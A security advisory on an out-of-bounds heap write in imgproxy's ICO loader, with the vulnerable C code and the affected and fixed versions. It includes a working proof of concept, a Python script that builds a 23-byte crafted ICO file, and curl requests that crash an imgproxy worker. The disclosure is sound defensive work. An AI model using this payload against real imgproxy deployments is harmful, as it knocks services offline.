Advisory

GHSA-494m-4556-wf5p

Also known as: CVE-2026-123615, GO-2026-6895

Summary

imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash

Details

Summary

Out-of-bounds heap write in imgproxy's ICO loader (vips/icoload.c): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc munmap_chunk(): invalid pointer → SIGABRT → Go panic, exit code 2).

Details

In vips_foreign_load_ico_header in vips/icoload.c, after the ICO entry's image data is read into a heap buffer of data_size + 14 bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER:

uint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32));  // unvalidated
uint16_t bpp        = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14));  // unvalidated
if ((num_colors == 0) && (bpp <= 8))
  pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 << bpp);
else
  pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors;
int32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8));  // readable past the buffer
height = height / 2;

With a crafted entry declaring a tiny data_size (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer — specifically a 32-bit height/2-derived value at alloc+22..+25, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always original_size >> 1 and, in cgo thread arenas, the NON_MAIN_ARENA bit lands in the IS_MMAPPED position of the corrupted word such that the next free() of the victim deterministically takes glibc's munmap_chunk() abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2).

PoC

# make_ico_oob.py — generates the exact 23-byte OOB-write trigger.
# Byte-identical to the checksummed, production-verified file:
#   ico-oob.ico  sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1
import struct, hashlib

hdr = struct.pack('<HHH', 0, 1, 1)  # reserved, type=ICO, count=1
# 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.
# The tiny data_size (1) makes the loader's BMPINFOHEADER field reads
# (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte
# allocation.
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16)
data = b'\xAA'  # the single declared image byte
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
    '075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1'
open('ico-oob.ico', 'wb').write(blob)
print(f"ico-oob.ico: {len(blob)} bytes [VERIFIED]")
# imgproxy v4.0.15 with local file sources enabled:
#   IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png"
# → request fails at transport level (connection reset / empty reply) or
#   HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT →
#   Go panic dump → exit code 2. One request, one dead worker.

curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png"
# → HTTP 200, valid thumbnail (control)

Impact

Out-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-10-30 22:56 UTC
Modified
2026-11-08 10:55 UTC

Affected packages and fixes

github.com/imgproxy/imgproxy/v3

Go · All systems

Affected

  • introduced 3.3.0, fixed 4.0.17 (semver)

Fixed versions

4.0.17

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences